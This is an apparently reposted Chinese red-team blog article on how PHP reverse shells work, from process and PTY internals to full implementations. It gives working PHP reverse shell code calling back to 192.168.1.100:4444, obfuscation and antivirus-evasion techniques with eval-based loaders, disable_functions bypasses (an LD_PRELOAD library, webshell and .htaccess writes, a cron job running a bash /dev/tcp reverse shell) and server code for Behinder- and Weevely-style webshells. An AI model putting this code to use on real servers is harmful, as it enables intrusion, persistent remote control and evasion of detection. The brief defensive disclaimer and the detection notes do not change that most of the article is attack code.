// 红队渗透 · 2025-04-23

PHP 反弹 Shell 的底层原理与工程实现

0x00 前言

在 Web 安全领域,PHP 作为服务端最广泛使用的脚本语言之一,频繁出现在攻击链的关键节点。当攻击者通过文件上传、反序列化、模板注入、变量覆盖等漏洞获得 PHP 代码执行能力后,面临的核心问题始终是:

如何将受限的、一次性的代码执行,转化为稳定、持久且具备完整交互能力的远程 Shell?

本文将从操作系统原理出发,深入分析 PHP 反弹 Shell 的技术体系,涵盖进程模型、文件描述符、伪终端、IO 转发等底层机制,并结合具体的代码实现和对抗技术,构建完整的知识框架。


0x01 理论基石:理解操作系统层面的 Shell

在深入 PHP 实现之前,必须先理解一个完整的交互式 Shell 在操作系统层面究竟由哪些组件构成。

1.1 进程模型:fork 与 exec 的协作

Linux 中,所有用户态进程都源于 fork() 系统调用。fork() 复制当前进程,创建一个几乎完全相同的子进程:

#include <unistd.h>
pid_t pid = fork();
if (pid == 0) {
    // 子进程
    execl("/bin/bash", "bash", NULL);
} else {
    // 父进程,pid 为子进程 PID
}

execve() 系列函数则用新的程序映像替换当前进程的代码段、数据段和堆栈:

flowchart LR
    A["父进程<br>PID=1000"] -->|"fork()"| B["子进程<br>PID=2000"]
    B -->|"execve(/bin/bash)"| C["bash 进程<br>PID=2000"]

关键理解:

  • fork() 复制了文件描述符表,因此子进程继承了父进程打开的 Socket、文件、管道
  • execve() 不改变 PID,但完全替换了进程的地址空间
  • 子进程的 PPID(父进程 ID)仍然是父进程的 PID,父进程可以通过 wait() 回收子进程

这意味着:PHP 进程可以通过 fork() 创建子进程,再通过 execve() 将其替换为 Shell,而 PHP 持有的 Socket 文件描述符在子进程中仍然有效——这就是 PHP 反弹 Shell 最底层的可行性基础。

1.2 文件描述符与标准流

Unix/Linux 遵循“一切皆文件”的设计哲学。每个进程启动时,内核自动分配三个标准的文件描述符:

文件描述符 0 → 标准输入(stdin)
文件描述符 1 → 标准输出(stdout)
文件描述符 2 → 标准错误(stderr)

当 PHP 通过 fsockopen() 创建一个 TCP 连接时,内核分配一个新的文件描述符(例如 fd=5)。dup2() 系统调用可以复制文件描述符,并强制覆盖标准流:

dup2(sock_fd, 0);  // 将 stdin 重定向到 Socket
dup2(sock_fd, 1);  // 将 stdout 重定向到 Socket
dup2(sock_fd, 2);  // 将 stderr 重定向到 Socket

这就是所有反弹 Shell 的核心原理:

flowchart LR
    A["远程端"] <-->|"TCP"| B["Socket fd=5"]
    B -->|"dup2 重定向"| C["stdin/stdout/stderr"]
    C -->|"交互"| D["/bin/bash"]

1.3 交互式 Shell 的必要条件

一个 Shell 要支持交互式操作,需要满足三个条件:

条件一:标准输入是终端(TTY)

Bash 通过 isatty(STDIN_FILENO) 判断是否运行在终端中。如果是,则:

  • 显示提示符($ 或 #)
  • 启用作业控制(Ctrl+Z 挂起、fg/bg)
  • 处理信号(SIGINT、SIGTSTP)
  • 启用命令历史

如果不是终端,Bash 以非交互模式运行,行为受到限制。

条件二:进程组和会话

Shell 需要成为进程组组长和会话首进程,才能管理子进程(如 vim、top)的终端控制。

flowchart TD
    A["会话(Session)"] --> B["进程组(PGID)"]
    B --> C["Shell 进程"]
    B --> D["子进程 1"]
    B --> E["子进程 2"]

条件三:终端信号处理

交互式终端需要处理:

  • SIGINT(Ctrl+C):中断前台进程
  • SIGTSTP(Ctrl+Z):挂起前台进程
  • SIGQUIT(Ctrl+\):退出前台进程
  • SIGWINCH:窗口大小变化

这些信号由终端驱动产生,通过进程组广播。

这就是为什么简单的 system('/bin/sh') 无法获得交互式 Shell——它缺失了终端环境。需要 PTY 来模拟。

1.4 终端、TTY 与 PTY 的本质

物理终端时代:

键盘 → UART 串口 → TTY 驱动 → Shell
显示器 ← UART 串口 ← TTY 驱动 ← Shell

TTY(Teletype)驱动负责:

  • 字符处理(回显、行编辑、控制字符转义)
  • 信号生成(根据特殊字符发送信号)
  • 线路规程(line discipline)

虚拟终端时代:

flowchart LR
    A["SSH 客户端"] --> B["PTY 主端(Master)"] --> C["TTY 驱动"] --> D["PTY 从端(Slave)"] --> E["Shell"]

PTY(Pseudo Terminal,伪终端)由一对设备组成:

  • 主端(Master):在用户态进程(如 SSH 服务端)中,负责读取/写入
  • 从端(Slave):在内核中,表现为一个标准的 TTY 设备,Shell 可以像操作真实终端一样操作它

关键区别:

特征 普通管道(Pipe) PTY
支持信号传递 ❌ ✅
支持终端控制字符 ❌ ✅
支持窗口大小调整 ❌ ✅
被 isatty() 识别 ❌ ✅
作业控制 ❌ ✅

因此,PTY 是实现交互式 Shell 的关键基础设施。在 PHP 中,PTY 的创建由 posix_openpt() 和相关函数实现。


0x02 PHP 进程控制 API 的底层实现

理解 PHP 的进程控制函数,实际上是在理解 libc 的封装。

2.1 system() / exec() / shell_exec() 的演进

PHP 函数 底层系统调用 是否创建子进程 是否捕获输出
system() fork + exec + wait ✅ 直接输出到 stdout
exec() fork + exec + wait ✅ 返回最后一行
shell_exec() fork + exec + wait + 管道 ✅ 返回全部输出
passthru() fork + exec + wait ✅ 直接输出到 stdout(二进制)
popen() fork + exec + 单向管道 ✅ 返回文件指针
proc_open() fork + exec + 多管道 ✅ 精细控制 stdin/stdout/stderr

2.2 proc_open 的结构体设计

proc_open() 在 PHP 源码中的实现(简化):

// ext/standard/proc_open.c
PHP_FUNCTION(proc_open) {
    char *command;
    zval *descriptors;
    zval *pipes = NULL;
    // ...
    
    // 解析描述符
    // 创建管道
    // fork()
    // 子进程中重定向文件描述符并执行 execve()
    // 父进程中返回管道资源
}

proc_open() 返回的进程句柄包含了:

$process = proc_open($cmd, $descriptors, $pipes);
// $process 是一个资源,包含子进程 PID、管道文件指针等

2.3 文件描述符传递的本质

为什么 proc_open() 的 $descriptors 可以接受任意 stream 资源?

PHP 的 stream 资源底层都有一个文件描述符(fd)。proc_open() 在 fork() 之后、execve() 之前,会调用 dup2() 将子进程的 stdin/stdout/stderr 重定向到这些文件描述符:

// 伪代码:子进程中的操作
dup2(fd_of_descriptors[0], 0);  // stdin
dup2(fd_of_descriptors[1], 1);  // stdout
dup2(fd_of_descriptors[2], 2);  // stderr

这使得任何 PHP stream(文件、Socket、管道)都可以作为子进程的输入输出。

flowchart TD
    A["PHP 进程"] -->|"proc_open"| B["子进程"]
    A -->|"持有 Socket"| C["TCP 连接"]
    C -->|"dup2 重定向"| B["/bin/sh 的 stdin/stdout/stderr"]

0x03 PHP Socket 编程的底层原理

3.1 BSD Socket 与 PHP Stream 的映射

PHP 的 Socket 函数是对 BSD Socket API 的封装:

PHP 函数 BSD Socket API 说明
fsockopen() socket() + connect() 创建 TCP/UDP 连接
stream_socket_server() socket() + bind() + listen() 创建服务端 Socket
stream_socket_accept() accept() 接受连接
fread() / fwrite() recv() / send() 读写数据
stream_select() select() / poll() IO 多路复用

fsockopen() 在 PHP 内部调用 POSIX socket() 创建 Socket,然后 connect() 建立连接,最后包装为 PHP stream 资源。

3.2 TCP 三次握手与 PHP 的关系

sequenceDiagram
    participant PHP as "PHP (客户端)"
    participant Kernel as "操作系统内核"
    participant Remote as "远程服务端"

    PHP->>Kernel: "socket() → fd=5"
    PHP->>Kernel: "connect(fd=5, 192.168.1.100:4444)"
    Kernel->>Remote: "SYN"
    Remote-->>Kernel: "SYN+ACK"
    Kernel->>Remote: "ACK"
    Note over Kernel,Remote: "三次握手完成"
    Kernel-->>PHP: "connect 返回成功"

PHP 的 connect() 返回后,TCP 连接已经建立。此后通过 fwrite() 发送数据、fread() 接收数据。

3.3 Socket 的阻塞与非阻塞行为

默认情况下,PHP 的 Socket stream 是阻塞的:

$data = fread($sock, 1024);  // 如果没有数据,阻塞等待

阻塞模式的问题:

  • 如果远程端不发数据,fread() 会一直等待
  • 如果 Shell 无输出,同样会阻塞
  • 无法同时处理多个数据流向

非阻塞模式通过 stream_set_blocking($sock, false) 设置,配合 stream_select() 实现事件驱动:

stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

while (true) {
    $read = [$sock, $pty];
    if (stream_select($read, $write, $except, null) > 0) {
        // 有数据可读
    }
}

stream_select() 对应 Linux 的 select() 系统调用,允许进程同时监控多个文件描述符的 IO 事件。


0x04 PHP 实现 PTY 的完整理论

4.1 PTY 在 Linux 内核中的实现

Linux 的 PTY 实现基于 Unix 98 标准:

// 创建 PTY
int master_fd = open("/dev/ptmx", O_RDWR);
// 授权从端
grantpt(master_fd);
// 解锁从端
unlockpt(master_fd);
// 获取从端路径
char *slave_path = ptsname(master_fd);
// 子进程打开从端
int slave_fd = open(slave_path, O_RDWR);

内核数据结构:

flowchart TD
    A["用户态进程<br>PHP"] -->|"写入"| B["PTY 主端<br>struct tty_struct"]
    B -->|"TTY 驱动"| C["线路规程<br>line discipline"]
    C -->|"字符处理"| D["PTY 从端<br>struct tty_struct"]
    D -->|"读取"| E["Shell 进程"]

/dev/ptmx 是 PTY 主端的复用设备,每次 open() 创建一个新的 PTY 对。主端在用户态可见,从端在 /dev/pts/ 目录下。

4.2 posix_* 系列函数的理论机制

PHP 的 posix_openpt() 直接调用 libc 的同名函数,最终触发内核的 PTY 创建。

flowchart LR
    A["posix_openpt()"] --> B["open(/dev/ptmx)"]
    B --> C["内核分配 PTY 对"]
    C --> D["返回主端 fd"]
    D --> E["posix_grantpt() 设置权限"]
    E --> F["posix_unlockpt() 解锁从端"]
    F --> G["posix_ptsname() 返回从端路径"]

posix_grantpt() 修改从端设备的权限,使得子进程可以打开它。posix_unlockpt() 解锁从端,允许子进程真正使用。

4.3 PTY 中的数据流

有了 PTY 之后,数据流变为:

flowchart LR
    A["远程端"] -->|"命令"| B["Socket"]
    B -->|"fwrite"| C["PTY 主端"]
    C -->|"TTY 驱动处理"| D["PTY 从端"]
    D -->|"read"| E["Shell"]
    E -->|"输出"| D
    D -->|"TTY 驱动处理"| C
    C -->|"fread"| B
    B -->|"响应"| A

TTY 驱动在此过程中执行:

  • 输入处理:行编辑、字符回显、特殊字符识别(Ctrl+C 发送 SIGINT)
  • 输出处理:制表符展开、换行转换(LF→CRLF)
  • 信号转发:将键盘生成的信号转发给前台进程组

0x05 工程实现:完整的 PHP 反弹 Shell

5.1 基础实现:Socket + proc_open

这是最稳定的纯 PHP 实现,不依赖任何外部工具:

<?php
// 配置
$ip = '192.168.1.100';
$port = 4444;

// 1. 建立 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    die("Socket connect failed: $errstr ($errno)\n");
}

// 2. 启动 Shell,将 stdin/stdout/stderr 重定向到 Socket
$descriptors = [
    0 => $sock,  // stdin
    1 => $sock,  // stdout
    2 => $sock   // stderr
];

$process = proc_open('/bin/sh', $descriptors, $pipes);

// 3. 等待子进程结束
while (proc_get_status($process)['running']) {
    usleep(100000); // 100ms
}

proc_close($process);
?>

理论分析:

  • fsockopen() 创建 TCP 连接,获得 stream 资源
  • proc_open() 创建子进程,将所有标准流重定向到 Socket
  • 子进程执行 /bin/sh,所有输入输出通过 Socket 传输

局限性:

  • /bin/sh 是非交互模式(isatty() 返回 false)
  • 无提示符,无作业控制
  • 无法运行 vim、top、ssh 等需要终端的程序
  • 信号处理不完整

5.2 中级实现:Socket + PTY + proc_open

使用 PTY 获得完整的交互式终端:

<?php
$ip = '192.168.1.100';
$port = 4444;

// 1. 创建 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) die("Connect failed\n");

// 2. 分配 PTY
$pty = posix_openpt();
if (!$pty) die("posix_openpt failed\n");

posix_grantpt($pty);   // 授权从端
posix_unlockpt($pty);  // 解锁从端
$slave_path = posix_ptsname($pty);

// 3. 打开从端作为子进程的终端
$slave = fopen($slave_path, 'r+');
if (!$slave) die("Open slave failed\n");

// 4. 启动交互式 Shell
$descriptors = [
    0 => $slave,
    1 => $slave,
    2 => $slave
];

$process = proc_open(
    '/bin/bash -i',
    $descriptors,
    $pipes,
    null,           // 工作目录
    []              // 环境变量
);

if (!is_resource($process)) die("proc_open failed\n");

// 5. 设置非阻塞模式
stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

// 6. 事件驱动 IO 转发
while (true) {
    $read = [$sock, $pty];
    $write = [];
    $except = [];

    // 监控可读事件,超时为 1 秒
    if (stream_select($read, $write, $except, 1) === false) {
        break;
    }

    // 处理 Socket 输入:远程端发来命令
    if (in_array($sock, $read)) {
        $data = fread($sock, 4096);
        if ($data === false || $data === '') break;
        fwrite($pty, $data);
        fflush($pty);
    }

    // 处理 PTY 输出:Shell 产生输出
    if (in_array($pty, $read)) {
        $data = fread($pty, 4096);
        if ($data === false || $data === '') break;
        fwrite($sock, $data);
        fflush($sock);
    }

    // 检查子进程是否还在运行
    $status = proc_get_status($process);
    if (!$status['running']) break;
}

// 清理资源
proc_close($process);
fclose($slave);
fclose($sock);
?>

关键改进:

组件 作用
posix_openpt() 创建 PTY 主从设备对
posix_grantpt() 设置从端权限,允许子进程打开
posix_unlockpt() 解锁从端
posix_ptsname() 获取从端设备路径
fopen($slave_path) 打开从端,供子进程使用
stream_select() 非阻塞 IO 多路复用
/bin/bash -i 交互模式启动

5.3 高级实现:多会话管理与进程组

对于需要同时管理多个 Shell 的场景,需要使用进程组和会话管理:

<?php
// 在子进程中设置进程组
$sid = posix_setsid();
if ($sid < 0) die("setsid failed\n");

// 设置前台进程组
if (posix_tcgetpgrp($slave_fd) !== $sid) {
    posix_tcsetpgrp($slave_fd, $sid);
}

// 忽略终端信号,防止 PHP 进程收到 SIGINT
pcntl_signal(SIGINT, SIG_IGN);
pcntl_signal(SIGTSTP, SIG_IGN);
pcntl_signal(SIGQUIT, SIG_IGN);

进程组管理器的架构:

flowchart TD
    A["PHP 主进程<br>(会话首进程)"] --> B["Shell 子进程 1<br>(进程组 A)"]
    A --> C["Shell 子进程 2<br>(进程组 B)"]
    A --> D["Shell 子进程 3<br>(进程组 C)"]
    B --> E["vim(前台)"]
    B --> F["top"]

0x06 IO 转发模型:从阻塞到事件驱动

6.1 阻塞 IO 模型

最简单的实现是顺序读写:

while (true) {
    $cmd = fread($sock, 1024);
    fwrite($pty, $cmd);
    $out = fread($pty, 1024);
    fwrite($sock, $out);
}

问题:

  • fread($sock) 阻塞,如果远程端不发送数据,整个循环卡住
  • 如果 Shell 主动输出(如 ping 的持续输出),需要等待用户输入才能读取
  • 无法处理双向同时通信

6.2 非阻塞轮询模型

stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

while (true) {
    $data = fread($sock, 4096);
    if ($data) fwrite($pty, $data);
    
    $data = fread($pty, 4096);
    if ($data) fwrite($sock, $data);
    
    usleep(1000);
}

问题:

  • CPU 空转,浪费资源
  • 延迟不可控

6.3 IO 多路复用(select/poll/epoll)

while (true) {
    $read = [$sock, $pty];
    $write = [];
    $except = [];
    
    // 阻塞等待任一 fd 可读
    $num = stream_select($read, $write, $except, null);
    if ($num === false) break;
    
    foreach ($read as $stream) {
        $data = fread($stream, 4096);
        if ($data === false || $data === '') break 2;
        
        if ($stream === $sock) {
            fwrite($pty, $data);
        } else {
            fwrite($sock, $data);
        }
    }
}

优势:

  • 事件驱动,无 CPU 空转
  • 及时响应
  • 支持大量并发连接

理论对应:

PHP 函数 系统调用 说明
stream_select() select() 支持最多 1024 个 fd
stream_select() 配合 stream_set_blocking() poll() 无 fd 数量限制
swoole / reactphp epoll() 高性能事件驱动

0x07 代码混淆与免杀技术理论

重要说明:本节从安全研究角度分析 WebShell 的混淆原理与检测对抗机制,旨在帮助安全人员理解攻击手法以提升防御能力。所有示例代码仅用于技术原理说明。

7.1 混淆的理论模型

混淆的本质是:

改变代码的语法表现形式,但不改变其语义逻辑。

形式化定义:给定程序 P,混淆变换 T 满足:

语义等价:∀ input,T(P)(input) = P(input)
语法差异:T(P) 与 P 在语法结构上存在显著差异

常见的混淆维度:

flowchart TD
    A["混淆维度"] --> B["词法混淆<br>变量名/函数名替换"]
    A --> C["编码混淆<br>Base64/压缩/加密"]
    A --> D["控制流混淆<br>插入死代码/条件分支"]
    A --> E["数据混淆<br>字符串拆分/动态构造"]

7.2 字符串编码混淆原理

Base64 编码:

将原始代码编码为 Base64 字符串,运行时解码执行。

<?php
// 原始代码
// $sock = fsockopen('192.168.1.100', 4444);

// 混淆后
$code = 'JHNvY2sgPSBmc29ja29wZW4oJzE5Mi4xNjguMS4xMDAnLCA0NDQ0KTs=';
eval(base64_decode($code));
?>

多层编码:

<?php
$code = 'eJxLtDK0qs60MrQyMDIxsTSzMDcxNzUxSYSIloB5RiYKWm4KZkbmRoYGSloK2kC+QWJeaWpKampWqkJ8UmlyRn5OKgCgFBJc';
eval(gzuncompress(base64_decode($code)));
?>

理论分析:

检测方式 原理 对抗方法
静态字符串匹配 搜索 eval( + base64_decode( 使用自定义解码函数
熵值分析 编码字符串熵值高 加入随机垃圾字符降低熵
AST 特征 识别 eval 的调用模式 使用动态函数名,如 $func = 'eval'; $func(...);

7.3 动态函数调用

PHP 支持通过变量名调用函数:

<?php
$func1 = 'fsock';
$func2 = 'open';
$socket_func = $func1 . $func2;  // 'fsockopen'

$func3 = 'proc_';
$func4 = 'open';
$proc_func = $func3 . $func4;    // 'proc_open'

$sock = $socket_func($ip, $port);
$proc = $proc_func('/bin/sh', [$sock, $sock, $sock], $pipes);
?>

原理:PHP 引擎在执行函数调用时,先解析变量值,然后将值作为函数名在函数表中查找。

7.4 控制流混淆

插入无意义的分支和循环,干扰静态分析:

<?php
// 干扰代码
$dummy = 0;
for ($i = 0; $i < 100; $i++) {
    if ($i % 2 == 0) {
        $dummy += $i;
    } else {
        $dummy -= $i;
    }
}

// 实际逻辑
if ($dummy > -1000) {  // 总是成立
    $sock = fsockopen('192.168.1.100', 4444);
    // ...
}
?>

7.5 动态代码加载

将载荷以加密形式存储在外部资源中:

<?php
// 从图片 EXIF 中提取载荷
$img = imagecreatefromjpeg('avatar.jpg');
$payload = exif_read_data($img)['UserComment'];
eval($payload);

// 从 HTTP Header 中获取
$payload = base64_decode($_SERVER['HTTP_X_PAYLOAD']);
eval($payload);

// 从 Cookie 中获取
$payload = base64_decode($_COOKIE['session']);
eval($payload);
?>

7.6 冰蝎的混淆架构分析

冰蝎(Behinder)的免杀设计体现了系统化的混淆思想:

第一层:通信加密

AES-128-ECB 加密 + Base64 编码
密钥动态协商(基于时间戳 + 固定盐)

第二层:代码分离

静态文件:仅包含解密 + 类加载逻辑
功能代码:以加密字节码形式传输

第三层:动态类加载

// 简化版的动态加载逻辑
$payload = base64_decode($_POST['data']);
$decrypted = openssl_decrypt($payload, 'AES-128-ECB', $key);
$obj = unserialize($decrypted);
$obj->execute();

第四层:反射调用

// 使用反射调用任意方法
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true);
$method->invoke($instance, $params);

0x08 disable_functions 绕过原理

8.1 限制的本质

disable_functions 是 PHP 配置指令,用于禁用指定的函数:

disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

其实现机制:PHP 在初始化函数表时,检查 disable_functions 列表,如果函数名在列表中,则该函数的入口指针被设置为 NULL。

// PHP 源码中的逻辑(简化)
if (zend_hash_exists(&disabled_functions, function_name)) {
    function->handler = NULL;  // 调用时直接报错
}

这意味着:

  • disable_functions 只影响 PHP 层面的函数调用
  • 不限制系统层面的能力(如文件写入、网络连接)
  • 不限制通过其他间接方式执行命令

8.2 LD_PRELOAD 绕过理论

LD_PRELOAD 是 Linux 动态链接器的环境变量,指定优先加载的共享库。

绕过原理:

flowchart TD
    A["PHP 调用 mail()"] --> B["fork() 子进程"]
    B --> C["execve() 执行 sendmail"]
    C --> D["动态链接器加载 LD_PRELOAD 指定的库"]
    D --> E["恶意库中的函数覆盖标准函数"]
    E --> F["执行系统命令"]

实现示例:

// evil.c - 编译为共享库
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sendmail(const char *to, const char *from, 
             const char *subject, const char *body) {
    // 在 sendmail 被调用时执行命令
    system("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");
    return 0;
}
// PHP 触发代码
putenv("LD_PRELOAD=/tmp/evil.so");
mail("", "", "", "");

8.3 利用文件操作函数

如果禁用了所有命令执行函数,但仍然可以读写文件:

<?php
// 写入 webshell
file_put_contents('/var/www/html/cmd.php', '<?php system($_GET["c"]); ?>');

// 或写入 .htaccess 启用 AutoPrepend
file_put_contents('/var/www/html/.htaccess', 
    'php_value auto_prepend_file /tmp/evil.php');

// 或写入 cron 任务
file_put_contents('/etc/cron.d/evil', 
    '* * * * * www-data /bin/bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
?>

8.4 PHP-FPM 绕过

如果可以通过本地端口访问 PHP-FPM:

<?php
// 构造 FastCGI 请求,执行任意命令
$sock = fsockopen('127.0.0.1', 9000);
// 发送 FastCGI 请求
// 利用环境变量 PHP_ADMIN_VALUE 或 PHP_VALUE 覆盖 disable_functions
?>

0x09 主流工具原理对比

9.1 技术架构对比

维度 Weevely 冰蝎(Behinder) 哥斯拉(Godzilla) 蚁剑(AntSword)
通信协议 HTTP + Base64 HTTP + AES HTTP + AES/RSA HTTP + 自定义
密钥协商 固定密钥 动态协商(RSA/AES) 动态协商 固定/动态
流量加密 弱(Base64) AES-128-ECB AES-256-CBC XOR/Base64/AES
混淆技术 低 高 高 中
扩展能力 模块 插件 插件 插件
会话管理 无 有 有 有

9.2 Weevely 通信协议细节

请求格式:

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

p=Q29tbWFuZAo%3D&

响应格式:

HTTP/1.1 200 OK
Content-Type: text/plain

UmVzdWx0Cg%3D%3D

Agent 核心逻辑:

<?php
$p = $_POST['p'];
if ($p) {
    $cmd = base64_decode(str_replace(' ', '+', $p));
    $result = `$cmd`;
    echo base64_encode($result);
}
?>

检测特征:

  • 参数名固定为 p
  • 使用 base64_decode
  • 使用反引号或 system() 执行命令

9.3 冰蝎通信协议细节

首次连接(获取密钥):

GET /shell.php?pass=abc HTTP/1.1

响应:

e45e329feb5d925b  // 16 字节密钥,MD5(uniqid()) 的前 16 位

后续请求:

POST /shell.php?pass=abc HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 128

[AES 加密的载荷 + 16 字节随机前缀]

服务端逻辑(简化):

<?php
session_start();
$key = $_SESSION['k'] ?? md5(uniqid());
$_SESSION['k'] = $key;

$data = file_get_contents('php://input');
$decrypted = openssl_decrypt(
    substr($data, 16),  // 去掉 16 字节随机前缀
    'AES-128-ECB',
    $key
);
eval($decrypted);
?>

检测特征:

  • 请求头 Content-Type: application/octet-stream
  • 请求 Body 长度固定为 16 的倍数
  • 响应 Body 同样为 16 的倍数
  • User-Agent 特定版本特征

原文 https://blog.csdn.net/2301_79518550/article/details/146775872